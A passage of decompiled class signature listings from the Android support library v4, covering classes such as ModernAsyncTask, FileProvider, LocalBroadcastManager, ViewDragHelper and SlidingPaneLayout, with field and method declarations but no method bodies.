    public void PagerTabStrip(android.content.Context);
    public void PagerTabStrip(android.content.Context, android.util.AttributeSet);
    public void setTabIndicatorColor(int);
    public void setTabIndicatorColorResource(int);
    public int getTabIndicatorColor();
    public void setPadding(int, int, int, int);
    public void setTextSpacing(int);
    public void setBackgroundDrawable(android.graphics.drawable.Drawable);
    public void setBackgroundColor(int);
    public void setBackgroundResource(int);
    public void setDrawFullUnderline(boolean);
    public boolean getDrawFullUnderline();
    int getMinHeight();
    public boolean onTouchEvent(android.view.MotionEvent);
    protected void onDraw(android.graphics.Canvas);
    void updateTextPositions(int, float, boolean);
}










android/support/v4/view/ViewConfigurationCompatFroyo.class


package android.support.v4.view;
synchronized class ViewConfigurationCompatFroyo {
    void ViewConfigurationCompatFroyo();
    public static int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/content/ModernAsyncTask.class


package android.support.v4.content;
abstract synchronized class ModernAsyncTask {
    private static final String LOG_TAG = AsyncTask;
    private static final int CORE_POOL_SIZE = 5;
    private static final int MAXIMUM_POOL_SIZE = 128;
    private static final int KEEP_ALIVE = 1;
    private static final java.util.concurrent.ThreadFactory sThreadFactory;
    private static final java.util.concurrent.BlockingQueue sPoolWorkQueue;
    public static final java.util.concurrent.Executor THREAD_POOL_EXECUTOR;
    private static final int MESSAGE_POST_RESULT = 1;
    private static final int MESSAGE_POST_PROGRESS = 2;
    private static final ModernAsyncTask$InternalHandler sHandler;
    private static volatile java.util.concurrent.Executor sDefaultExecutor;
    private final ModernAsyncTask$WorkerRunnable mWorker;
    private final java.util.concurrent.FutureTask mFuture;
    private volatile ModernAsyncTask$Status mStatus;
    private final java.util.concurrent.atomic.AtomicBoolean mTaskInvoked;
    public static void init();
    public static void setDefaultExecutor(java.util.concurrent.Executor);
    public void ModernAsyncTask();
    private void postResultIfNotInvoked(Object);
    private Object postResult(Object);
    public final ModernAsyncTask$Status getStatus();
    protected abstract transient Object doInBackground(Object[]);
    protected void onPreExecute();
    protected void onPostExecute(Object);
    protected transient void onProgressUpdate(Object[]);
    protected void onCancelled(Object);
    protected void onCancelled();
    public final boolean isCancelled();
    public final boolean cancel(boolean);
    public final Object get() throws InterruptedException, java.util.concurrent.ExecutionException;
    public final Object get(long, java.util.concurrent.TimeUnit) throws InterruptedException, java.util.concurrent.ExecutionException, java.util.concurrent.TimeoutException;
    public final transient ModernAsyncTask execute(Object[]);
    public final transient ModernAsyncTask executeOnExecutor(java.util.concurrent.Executor, Object[]);
    public static void execute(Runnable);
    protected final transient void publishProgress(Object[]);
    private void finish(Object);
    static void <clinit>();
}










android/support/v4/content/IntentCompat.class


package android.support.v4.content;
public synchronized class IntentCompat {
    private static final IntentCompat$IntentCompatImpl IMPL;
    public static final String ACTION_EXTERNAL_APPLICATIONS_AVAILABLE = android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE;
    public static final String ACTION_EXTERNAL_APPLICATIONS_UNAVAILABLE = android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE;
    public static final String EXTRA_CHANGED_PACKAGE_LIST = android.intent.extra.changed_package_list;
    public static final String EXTRA_CHANGED_UID_LIST = android.intent.extra.changed_uid_list;
    public static final String EXTRA_HTML_TEXT = android.intent.extra.HTML_TEXT;
    public static final int FLAG_ACTIVITY_TASK_ON_HOME = 16384;
    public static final int FLAG_ACTIVITY_CLEAR_TASK = 32768;
    private void IntentCompat();
    public static android.content.Intent makeMainActivity(android.content.ComponentName);
    public static android.content.Intent makeMainSelectorActivity(String, String);
    public static android.content.Intent makeRestartActivityTask(android.content.ComponentName);
    static void <clinit>();
}










android/support/v4/content/ModernAsyncTask$2.class


package android.support.v4.content;
synchronized class ModernAsyncTask$2 extends ModernAsyncTask$WorkerRunnable {
    void ModernAsyncTask$2(ModernAsyncTask);
    public Object call() throws Exception;
}










android/support/v4/content/Loader$OnLoadCompleteListener.class


package android.support.v4.content;
public abstract interface Loader$OnLoadCompleteListener {
    public abstract void onLoadComplete(Loader, Object);
}










android/support/v4/content/IntentCompat$IntentCompatImplHC.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplHC extends IntentCompat$IntentCompatImplBase {
    void IntentCompat$IntentCompatImplHC();
    public android.content.Intent makeMainActivity(android.content.ComponentName);
    public android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/ModernAsyncTask$Status.class


package android.support.v4.content;
public final synchronized enum ModernAsyncTask$Status {
    public static final ModernAsyncTask$Status PENDING;
    public static final ModernAsyncTask$Status RUNNING;
    public static final ModernAsyncTask$Status FINISHED;
    public static ModernAsyncTask$Status[] values();
    public static ModernAsyncTask$Status valueOf(String);
    private void ModernAsyncTask$Status(String, int);
    static void <clinit>();
}










android/support/v4/content/FileProvider$PathStrategy.class


package android.support.v4.content;
abstract interface FileProvider$PathStrategy {
    public abstract android.net.Uri getUriForFile(java.io.File);
    public abstract java.io.File getFileForUri(android.net.Uri);
}










android/support/v4/content/IntentCompatIcsMr1.class


package android.support.v4.content;
synchronized class IntentCompatIcsMr1 {
    void IntentCompatIcsMr1();
    public static android.content.Intent makeMainSelectorActivity(String, String);
}










android/support/v4/content/ModernAsyncTask$WorkerRunnable.class


package android.support.v4.content;
abstract synchronized class ModernAsyncTask$WorkerRunnable implements java.util.concurrent.Callable {
    Object[] mParams;
    private void ModernAsyncTask$WorkerRunnable();
}










android/support/v4/content/Loader$ForceLoadContentObserver.class


package android.support.v4.content;
public final synchronized class Loader$ForceLoadContentObserver extends android.database.ContentObserver {
    public void Loader$ForceLoadContentObserver(Loader);
    public boolean deliverSelfNotifications();
    public void onChange(boolean);
}










android/support/v4/content/pm/ActivityInfoCompat.class


package android.support.v4.content.pm;
public synchronized class ActivityInfoCompat {
    public static final int CONFIG_UI_MODE = 512;
    private void ActivityInfoCompat();
}










android/support/v4/content/LocalBroadcastManager$BroadcastRecord.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$BroadcastRecord {
    final android.content.Intent intent;
    final java.util.ArrayList receivers;
    void LocalBroadcastManager$BroadcastRecord(android.content.Intent, java.util.ArrayList);
}










android/support/v4/content/CursorLoader.class


package android.support.v4.content;
public synchronized class CursorLoader extends AsyncTaskLoader {
    final Loader$ForceLoadContentObserver mObserver;
    android.net.Uri mUri;
    String[] mProjection;
    String mSelection;
    String[] mSelectionArgs;
    String mSortOrder;
    android.database.Cursor mCursor;
    public android.database.Cursor loadInBackground();
    void registerContentObserver(android.database.Cursor, android.database.ContentObserver);
    public void deliverResult(android.database.Cursor);
    public void CursorLoader(android.content.Context);
    public void CursorLoader(android.content.Context, android.net.Uri, String[], String, String[], String);
    protected void onStartLoading();
    protected void onStopLoading();
    public void onCanceled(android.database.Cursor);
    protected void onReset();
    public android.net.Uri getUri();
    public void setUri(android.net.Uri);
    public String[] getProjection();
    public void setProjection(String[]);
    public String getSelection();
    public void setSelection(String);
    public String[] getSelectionArgs();
    public void setSelectionArgs(String[]);
    public String getSortOrder();
    public void setSortOrder(String);
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/ModernAsyncTask$InternalHandler.class


package android.support.v4.content;
synchronized class ModernAsyncTask$InternalHandler extends android.os.Handler {
    private void ModernAsyncTask$InternalHandler();
    public void handleMessage(android.os.Message);
}










android/support/v4/content/ContextCompat.class


package android.support.v4.content;
public synchronized class ContextCompat {
    public void ContextCompat();
    public static boolean startActivities(android.content.Context, android.content.Intent[]);
    public static boolean startActivities(android.content.Context, android.content.Intent[], android.os.Bundle);
}










android/support/v4/content/FileProvider.class


package android.support.v4.content;
public synchronized class FileProvider extends android.content.ContentProvider {
    private static final String[] COLUMNS;
    private static final String META_DATA_FILE_PROVIDER_PATHS = android.support.FILE_PROVIDER_PATHS;
    private static final String TAG_ROOT_PATH = root-path;
    private static final String TAG_FILES_PATH = files-path;
    private static final String TAG_CACHE_PATH = cache-path;
    private static final String TAG_EXTERNAL = external-path;
    private static final String ATTR_NAME = name;
    private static final String ATTR_PATH = path;
    private static final java.io.File DEVICE_ROOT;
    private static java.util.HashMap sCache;
    private FileProvider$PathStrategy mStrategy;
    public void FileProvider();
    public boolean onCreate();
    public void attachInfo(android.content.Context, android.content.pm.ProviderInfo);
    public static android.net.Uri getUriForFile(android.content.Context, String, java.io.File);
    public android.database.Cursor query(android.net.Uri, String[], String, String[], String);
    public String getType(android.net.Uri);
    public android.net.Uri insert(android.net.Uri, android.content.ContentValues);
    public int update(android.net.Uri, android.content.ContentValues, String, String[]);
    public int delete(android.net.Uri, String, String[]);
    public android.os.ParcelFileDescriptor openFile(android.net.Uri, String) throws java.io.FileNotFoundException;
    private static FileProvider$PathStrategy getPathStrategy(android.content.Context, String);
    private static FileProvider$PathStrategy parsePathStrategy(android.content.Context, String) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
    private static int modeToMode(String);
    private static transient java.io.File buildPath(java.io.File, String[]);
    private static String[] copyOf(String[], int);
    private static Object[] copyOf(Object[], int);
    static void <clinit>();
}










android/support/v4/content/LocalBroadcastManager.class


package android.support.v4.content;
public synchronized class LocalBroadcastManager {
    private static final String TAG = LocalBroadcastManager;
    private static final boolean DEBUG = 0;
    private final android.content.Context mAppContext;
    private final java.util.HashMap mReceivers;
    private final java.util.HashMap mActions;
    private final java.util.ArrayList mPendingBroadcasts;
    static final int MSG_EXEC_PENDING_BROADCASTS = 1;
    private final android.os.Handler mHandler;
    private static final Object mLock;
    private static LocalBroadcastManager mInstance;
    public static LocalBroadcastManager getInstance(android.content.Context);
    private void LocalBroadcastManager(android.content.Context);
    public void registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter);
    public void unregisterReceiver(android.content.BroadcastReceiver);
    public boolean sendBroadcast(android.content.Intent);
    public void sendBroadcastSync(android.content.Intent);
    private void executePendingBroadcasts();
    static void <clinit>();
}










android/support/v4/content/Loader.class


package android.support.v4.content;
public synchronized class Loader {
    int mId;
    Loader$OnLoadCompleteListener mListener;
    android.content.Context mContext;
    boolean mStarted;
    boolean mAbandoned;
    boolean mReset;
    boolean mContentChanged;
    public void Loader(android.content.Context);
    public void deliverResult(Object);
    public android.content.Context getContext();
    public int getId();
    public void registerListener(int, Loader$OnLoadCompleteListener);
    public void unregisterListener(Loader$OnLoadCompleteListener);
    public boolean isStarted();
    public boolean isAbandoned();
    public boolean isReset();
    public final void startLoading();
    protected void onStartLoading();
    public void forceLoad();
    protected void onForceLoad();
    public void stopLoading();
    protected void onStopLoading();
    public void abandon();
    protected void onAbandon();
    public void reset();
    protected void onReset();
    public boolean takeContentChanged();
    public void onContentChanged();
    public String dataToString(Object);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/FileProvider$SimplePathStrategy.class


package android.support.v4.content;
synchronized class FileProvider$SimplePathStrategy implements FileProvider$PathStrategy {
    private final String mAuthority;
    private final java.util.HashMap mRoots;
    public void FileProvider$SimplePathStrategy(String);
    public void addRoot(String, java.io.File);
    public android.net.Uri getUriForFile(java.io.File);
    public java.io.File getFileForUri(android.net.Uri);
}










android/support/v4/content/ContextCompatHoneycomb.class


package android.support.v4.content;
synchronized class ContextCompatHoneycomb {
    void ContextCompatHoneycomb();
    static void startActivities(android.content.Context, android.content.Intent[]);
}










android/support/v4/content/IntentCompat$IntentCompatImpl.class


package android.support.v4.content;
abstract interface IntentCompat$IntentCompatImpl {
    public abstract android.content.Intent makeMainActivity(android.content.ComponentName);
    public abstract android.content.Intent makeMainSelectorActivity(String, String);
    public abstract android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/AsyncTaskLoader$LoadTask.class


package android.support.v4.content;
final synchronized class AsyncTaskLoader$LoadTask extends ModernAsyncTask implements Runnable {
    Object result;
    boolean waiting;
    private java.util.concurrent.CountDownLatch done;
    void AsyncTaskLoader$LoadTask(AsyncTaskLoader);
    protected transient Object doInBackground(Void[]);
    protected void onPostExecute(Object);
    protected void onCancelled();
    public void run();
}










android/support/v4/content/ModernAsyncTask$1.class


package android.support.v4.content;
final synchronized class ModernAsyncTask$1 implements java.util.concurrent.ThreadFactory {
    private final java.util.concurrent.atomic.AtomicInteger mCount;
    void ModernAsyncTask$1();
    public Thread newThread(Runnable);
}










android/support/v4/content/ModernAsyncTask$4.class


package android.support.v4.content;
synchronized class ModernAsyncTask$4 {
    static void <clinit>();
}










android/support/v4/content/IntentCompat$IntentCompatImplBase.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplBase implements IntentCompat$IntentCompatImpl {
    void IntentCompat$IntentCompatImplBase();
    public android.content.Intent makeMainActivity(android.content.ComponentName);
    public android.content.Intent makeMainSelectorActivity(String, String);
    public android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/ContextCompatJellybean.class


package android.support.v4.content;
synchronized class ContextCompatJellybean {
    void ContextCompatJellybean();
    public static void startActivities(android.content.Context, android.content.Intent[], android.os.Bundle);
}










android/support/v4/content/AsyncTaskLoader.class


package android.support.v4.content;
public abstract synchronized class AsyncTaskLoader extends Loader {
    static final String TAG = AsyncTaskLoader;
    static final boolean DEBUG = 0;
    volatile AsyncTaskLoader$LoadTask mTask;
    volatile AsyncTaskLoader$LoadTask mCancellingTask;
    long mUpdateThrottle;
    long mLastLoadCompleteTime;
    android.os.Handler mHandler;
    public void AsyncTaskLoader(android.content.Context);
    public void setUpdateThrottle(long);
    protected void onForceLoad();
    public boolean cancelLoad();
    public void onCanceled(Object);
    void executePendingTask();
    void dispatchOnCancelled(AsyncTaskLoader$LoadTask, Object);
    void dispatchOnLoadComplete(AsyncTaskLoader$LoadTask, Object);
    public abstract Object loadInBackground();
    protected Object onLoadInBackground();
    public void waitForLoader();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/IntentCompat$IntentCompatImplIcsMr1.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplIcsMr1 extends IntentCompat$IntentCompatImplHC {
    void IntentCompat$IntentCompatImplIcsMr1();
    public android.content.Intent makeMainSelectorActivity(String, String);
}










android/support/v4/content/LocalBroadcastManager$1.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$1 extends android.os.Handler {
    void LocalBroadcastManager$1(LocalBroadcastManager, android.os.Looper);
    public void handleMessage(android.os.Message);
}










android/support/v4/content/ModernAsyncTask$AsyncTaskResult.class


package android.support.v4.content;
synchronized class ModernAsyncTask$AsyncTaskResult {
    final ModernAsyncTask mTask;
    final Object[] mData;
    transient void ModernAsyncTask$AsyncTaskResult(ModernAsyncTask, Object[]);
}










android/support/v4/content/ModernAsyncTask$3.class


package android.support.v4.content;
synchronized class ModernAsyncTask$3 extends java.util.concurrent.FutureTask {
    void ModernAsyncTask$3(ModernAsyncTask, java.util.concurrent.Callable);
    protected void done();
}










android/support/v4/content/IntentCompatHoneycomb.class


package android.support.v4.content;
synchronized class IntentCompatHoneycomb {
    void IntentCompatHoneycomb();
    public static android.content.Intent makeMainActivity(android.content.ComponentName);
    public static android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/LocalBroadcastManager$ReceiverRecord.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$ReceiverRecord {
    final android.content.IntentFilter filter;
    final android.content.BroadcastReceiver receiver;
    boolean broadcasting;
    void LocalBroadcastManager$ReceiverRecord(android.content.IntentFilter, android.content.BroadcastReceiver);
    public String toString();
}










android/support/v4/widget/SlidingPaneLayout$DragHelperCallback.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$DragHelperCallback extends ViewDragHelper$Callback {
    private void SlidingPaneLayout$DragHelperCallback(SlidingPaneLayout);
    public boolean tryCaptureView(android.view.View, int);
    public void onViewDragStateChanged(int);
    public void onViewCaptured(android.view.View, int);
    public void onViewPositionChanged(android.view.View, int, int, int, int);
    public void onViewReleased(android.view.View, float, float);
    public int getViewHorizontalDragRange(android.view.View);
    public int clampViewPositionHorizontal(android.view.View, int, int);
    public void onEdgeDragStarted(int, int);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplBase.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplBase implements ScrollerCompat$ScrollerCompatImpl {
    void ScrollerCompat$ScrollerCompatImplBase();
    public Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public boolean isFinished(Object);
    public int getCurrX(Object);
    public int getCurrY(Object);
    public float getCurrVelocity(Object);
    public boolean computeScrollOffset(Object);
    public void startScroll(Object, int, int, int, int);
    public void startScroll(Object, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public void abortAnimation(Object);
    public void notifyHorizontalEdgeReached(Object, int, int, int);
    public void notifyVerticalEdgeReached(Object, int, int, int);
    public boolean isOverScrolled(Object);
    public int getFinalX(Object);
    public int getFinalY(Object);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl extends SearchViewCompat$SearchViewCompatStubImpl {
    void SearchViewCompat$SearchViewCompatHoneycombImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setSearchableInfo(android.view.View, android.content.ComponentName);
    public Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public void setOnQueryTextListener(Object, Object);
    public Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public void setOnCloseListener(Object, Object);
    public CharSequence getQuery(android.view.View);
    public void setQuery(android.view.View, CharSequence, boolean);
    public void setQueryHint(android.view.View, CharSequence);
    public void setIconified(android.view.View, boolean);
    public boolean isIconified(android.view.View);
    public void setSubmitButtonEnabled(android.view.View, boolean);
    public boolean isSubmitButtonEnabled(android.view.View);
    public void setQueryRefinementEnabled(android.view.View, boolean);
    public boolean isQueryRefinementEnabled(android.view.View);
    public void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/SimpleCursorAdapter$CursorToStringConverter.class


package android.support.v4.widget;
public abstract interface SimpleCursorAdapter$CursorToStringConverter {
    public abstract CharSequence convertToString(android.database.Cursor);
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImplBase.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SlidingPanelLayoutImplBase implements SlidingPaneLayout$SlidingPanelLayoutImpl {
    void SlidingPaneLayout$SlidingPanelLayoutImplBase();
    public void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/ViewDragHelper$1.class


package android.support.v4.widget;
final synchronized class ViewDragHelper$1 implements android.view.animation.Interpolator {
    void ViewDragHelper$1();
    public float getInterpolation(float);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatIcsImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatIcsImpl extends SearchViewCompat$SearchViewCompatHoneycombImpl {
    void SearchViewCompat$SearchViewCompatIcsImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setImeOptions(android.view.View, int);
    public void setInputType(android.view.View, int);
}










android/support/v4/widget/ViewDragHelper.class


package android.support.v4.widget;
public synchronized class ViewDragHelper {
    private static final String TAG = ViewDragHelper;
    public static final int INVALID_POINTER = -1;
    public static final int STATE_IDLE = 0;
    public static final int STATE_DRAGGING = 1;
    public static final int STATE_SETTLING = 2;
    public static final int EDGE_LEFT = 1;
    public static final int EDGE_RIGHT = 2;
    public static final int EDGE_TOP = 4;
    public static final int EDGE_BOTTOM = 8;
    public static final int EDGE_ALL = 15;
    public static final int DIRECTION_HORIZONTAL = 1;
    public static final int DIRECTION_VERTICAL = 2;
    public static final int DIRECTION_ALL = 3;
    private static final int EDGE_SIZE = 20;
    private static final int BASE_SETTLE_DURATION = 256;
    private static final int MAX_SETTLE_DURATION = 600;
    private int mDragState;
    private int mTouchSlop;
    private int mActivePointerId;
    private float[] mInitialMotionX;
    private float[] mInitialMotionY;
    private float[] mLastMotionX;
    private float[] mLastMotionY;
    private int[] mInitialEdgesTouched;
    private int[] mEdgeDragsInProgress;
    private int[] mEdgeDragsLocked;
    private int mPointersDown;
    private android.view.VelocityTracker mVelocityTracker;
    private float mMaxVelocity;
    private float mMinVelocity;
    private int mEdgeSize;
    private int mTrackingEdges;
    private ScrollerCompat mScroller;
    private final ViewDragHelper$Callback mCallback;
    private android.view.View mCapturedView;
    private boolean mReleaseInProgress;
    private final android.view.ViewGroup mParentView;
    private static final android.view.animation.Interpolator sInterpolator;
    private final Runnable mSetIdleRunnable;
    public static ViewDragHelper create(android.view.ViewGroup, ViewDragHelper$Callback);
    public static ViewDragHelper create(android.view.ViewGroup, float, ViewDragHelper$Callback);
    private void ViewDragHelper(android.content.Context, android.view.ViewGroup, ViewDragHelper$Callback);
    public void setMinVelocity(float);
    public float getMinVelocity();
    public int getViewDragState();
    public void setEdgeTrackingEnabled(int);
    public int getEdgeSize();
    public void captureChildView(android.view.View, int);
    public android.view.View getCapturedView();
    public int getActivePointerId();
    public int getTouchSlop();
    public void cancel();
    public void abort();
    public boolean smoothSlideViewTo(android.view.View, int, int);
    public boolean settleCapturedViewAt(int, int);
    private boolean forceSettleCapturedViewAt(int, int, int, int);
    private int computeSettleDuration(android.view.View, int, int, int, int);
    private int computeAxisDuration(int, int, int);
    private int clampMag(int, int, int);
    private float clampMag(float, float, float);
    private float distanceInfluenceForSnapDuration(float);
    public void flingCapturedView(int, int, int, int);
    public boolean continueSettling(boolean);
    private void dispatchViewReleased(float, float);
    private void clearMotionHistory();
    private void clearMotionHistory(int);
    private void ensureMotionHistorySizeForId(int);
    private void saveInitialMotion(float, float, int);
    private void saveLastMotion(android.view.MotionEvent);
    public boolean isPointerDown(int);
    void setDragState(int);
    boolean tryCaptureViewForDrag(android.view.View, int);
    protected boolean canScroll(android.view.View, boolean, int, int, int, int);
    public boolean shouldInterceptTouchEvent(android.view.MotionEvent);
    public void processTouchEvent(android.view.MotionEvent);
    private void reportNewEdgeDrags(float, float, int);
    private boolean checkNewEdgeDrag(float, float, int, int);
    private boolean checkTouchSlop(android.view.View, float, float);
    public boolean checkTouchSlop(int);
    public boolean checkTouchSlop(int, int);
    public boolean isEdgeTouched(int);
    public boolean isEdgeTouched(int, int);
    private void releaseViewForPointerUp();
    private void dragTo(int, int, int, int);
    public boolean isCapturedViewUnder(int, int);
    public boolean isViewUnder(android.view.View, int, int);
    public android.view.View findTopChildUnder(int, int);
    private int getEdgesTouched(int, int);
    static void <clinit>();
}










android/support/v4/widget/SearchViewCompat$OnCloseListenerCompat.class


package android.support.v4.widget;
public abstract synchronized class SearchViewCompat$OnCloseListenerCompat {
    final Object mListener;
    public void SearchViewCompat$OnCloseListenerCompat();
    public boolean onClose();
}










android/support/v4/widget/SlidingPaneLayout$SavedState$1.class


package android.support.v4.widget;
final synchronized class SlidingPaneLayout$SavedState$1 implements android.os.Parcelable$Creator {
    void SlidingPaneLayout$SavedState$1();
    public SlidingPaneLayout$SavedState createFromParcel(android.os.Parcel);
    public SlidingPaneLayout$SavedState[] newArray(int);
}










android/support/v4/widget/DrawerLayout$DrawerListener.class


package android.support.v4.widget;
public abstract interface DrawerLayout$DrawerListener {
    public abstract void onDrawerSlide(android.view.View, float);
    public abstract void onDrawerOpened(android.view.View);
    public abstract void onDrawerClosed(android.view.View);
    public abstract void onDrawerStateChanged(int);
}










android/support/v4/widget/SearchViewCompatHoneycomb$OnCloseListenerCompatBridge.class


package android.support.v4.widget;
abstract interface SearchViewCompatHoneycomb$OnCloseListenerCompatBridge {
    public abstract boolean onClose();
}










android/support/v4/widget/SimpleCursorAdapter$ViewBinder.class


package android.support.v4.widget;
public abstract interface SimpleCursorAdapter$ViewBinder {
    public abstract boolean setViewValue(android.view.View, android.database.Cursor, int);
}










android/support/v4/widget/SlidingPaneLayout$SavedState.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SavedState extends android.view.View$BaseSavedState {
    boolean isOpen;
    public static final android.os.Parcelable$Creator CREATOR;
    void SlidingPaneLayout$SavedState(android.os.Parcelable);
    private void SlidingPaneLayout$SavedState(android.os.Parcel);
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/widget/DrawerLayout$SimpleDrawerListener.class


package android.support.v4.widget;
public abstract synchronized class DrawerLayout$SimpleDrawerListener implements DrawerLayout$DrawerListener {
    public void DrawerLayout$SimpleDrawerListener();
    public void onDrawerSlide(android.view.View, float);
    public void onDrawerOpened(android.view.View);
    public void onDrawerClosed(android.view.View);
    public void onDrawerStateChanged(int);
}










android/support/v4/widget/SlidingPaneLayout$1.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$1 {
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl$2.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl$2 implements SearchViewCompatHoneycomb$OnCloseListenerCompatBridge {
    void SearchViewCompat$SearchViewCompatHoneycombImpl$2(SearchViewCompat$SearchViewCompatHoneycombImpl, SearchViewCompat$OnCloseListenerCompat);
    public boolean onClose();
}










android/support/v4/widget/SlidingPaneLayout$DisableLayerRunnable.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$DisableLayerRunnable implements Runnable {
    final android.view.View mChildView;
    void SlidingPaneLayout$DisableLayerRunnable(SlidingPaneLayout, android.view.View);
    public void run();
}










android/support/v4/widget/SearchViewCompat$OnQueryTextListenerCompat.class


package android.support.v4.widget;
public abstract synchronized class SearchViewCompat$OnQueryTextListenerCompat {
    final Object mListener;
    public void SearchViewCompat$OnQueryTextListenerCompat();
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/ViewDragHelper$Callback.class


package android.support.v4.widget;
public abstract synchronized class ViewDragHelper$Callback {
    public void ViewDragHelper$Callback();
    public void onViewDragStateChanged(int);
    public void onViewPositionChanged(android.view.View, int, int, int, int);
    public void onViewCaptured(android.view.View, int);
    public void onViewReleased(android.view.View, float, float);
    public void onEdgeTouched(int, int);
    public boolean onEdgeLock(int);
    public void onEdgeDragStarted(int, int);
    public int getOrderedChildIndex(int);
    public int getViewHorizontalDragRange(android.view.View);
    public int getViewVerticalDragRange(android.view.View);
    public abstract boolean tryCaptureView(android.view.View, int);
    public int clampViewPositionHorizontal(android.view.View, int, int);
    public int clampViewPositionVertical(android.view.View, int, int);
}










android/support/v4/widget/DrawerLayout$LayoutParams.class


package android.support.v4.widget;
public synchronized class DrawerLayout$LayoutParams extends android.view.ViewGroup$MarginLayoutParams {
    public int gravity;
    float onScreen;
    boolean isPeeking;
    boolean knownOpen;
    public void DrawerLayout$LayoutParams(android.content.Context, android.util.AttributeSet);
    public void DrawerLayout$LayoutParams(int, int);
    public void DrawerLayout$LayoutParams(int, int, int);
    public void DrawerLayout$LayoutParams(DrawerLayout$LayoutParams);
    public void DrawerLayout$LayoutParams(android.view.ViewGroup$LayoutParams);
    public void DrawerLayout$LayoutParams(android.view.ViewGroup$MarginLayoutParams);
}










android/support/v4/widget/CursorAdapter$ChangeObserver.class


package android.support.v4.widget;
synchronized class CursorAdapter$ChangeObserver extends android.database.ContentObserver {
    public void CursorAdapter$ChangeObserver(CursorAdapter);
    public boolean deliverSelfNotifications();
    public void onChange(boolean);
}










android/support/v4/widget/SimpleCursorAdapter.class


package android.support.v4.widget;
public synchronized class SimpleCursorAdapter extends ResourceCursorAdapter {
    protected int[] mFrom;
    protected int[] mTo;
    private int mStringConversionColumn;
    private SimpleCursorAdapter$CursorToStringConverter mCursorToStringConverter;
    private SimpleCursorAdapter$ViewBinder mViewBinder;
    String[] mOriginalFrom;
    public void SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[]);
    public void SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[], int);
    public void bindView(android.view.View, android.content.Context, android.database.Cursor);
    public SimpleCursorAdapter$ViewBinder getViewBinder();
    public void setViewBinder(SimpleCursorAdapter$ViewBinder);
    public void setViewImage(android.widget.ImageView, String);
    public void setViewText(android.widget.TextView, String);
    public int getStringConversionColumn();
    public void setStringConversionColumn(int);
    public SimpleCursorAdapter$CursorToStringConverter getCursorToStringConverter();
    public void setCursorToStringConverter(SimpleCursorAdapter$CursorToStringConverter);
    public CharSequence convertToString(android.database.Cursor);
    private void findColumns(String[]);
    public android.database.Cursor swapCursor(android.database.Cursor);
    public void changeCursorAndColumns(android.database.Cursor, String[], int[]);
}










android/support/v4/widget/SlidingPaneLayout.class


package android.support.v4.widget;
public synchronized class SlidingPaneLayout extends android.view.ViewGroup {
    private static final String TAG = SlidingPaneLayout;
    private static final int DEFAULT_OVERHANG_SIZE = 32;
    private static final int DEFAULT_FADE_COLOR = -858993460;
    private int mSliderFadeColor;
    private static final int MIN_FLING_VELOCITY = 400;
    private int mCoveredFadeColor;
    private android.graphics.drawable.Drawable mShadowDrawable;
    private final int mOverhangSize;
    private boolean mCanSlide;
    private android.view.View mSlideableView;
    private float mSlideOffset;
    private float mParallaxOffset;
    private int mSlideRange;
    private boolean mIsUnableToDrag;
    private int mParallaxBy;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private SlidingPaneLayout$PanelSlideListener mPanelSlideListener;
    private final ViewDragHelper mDragHelper;
    private boolean mPreservedOpenState;
    private boolean mFirstLayout;
    private final android.graphics.Rect mTmpRect;
    private final java.util.ArrayList mPostedRunnables;
    static final SlidingPaneLayout$SlidingPanelLayoutImpl IMPL;
    public void SlidingPaneLayout(android.content.Context);
    public void SlidingPaneLayout(android.content.Context, android.util.AttributeSet);
    public void SlidingPaneLayout(android.content.Context, android.util.AttributeSet, int);
    public void setParallaxDistance(int);
    public int getParallaxDistance();
    public void setSliderFadeColor(int);
    public int getSliderFadeColor();
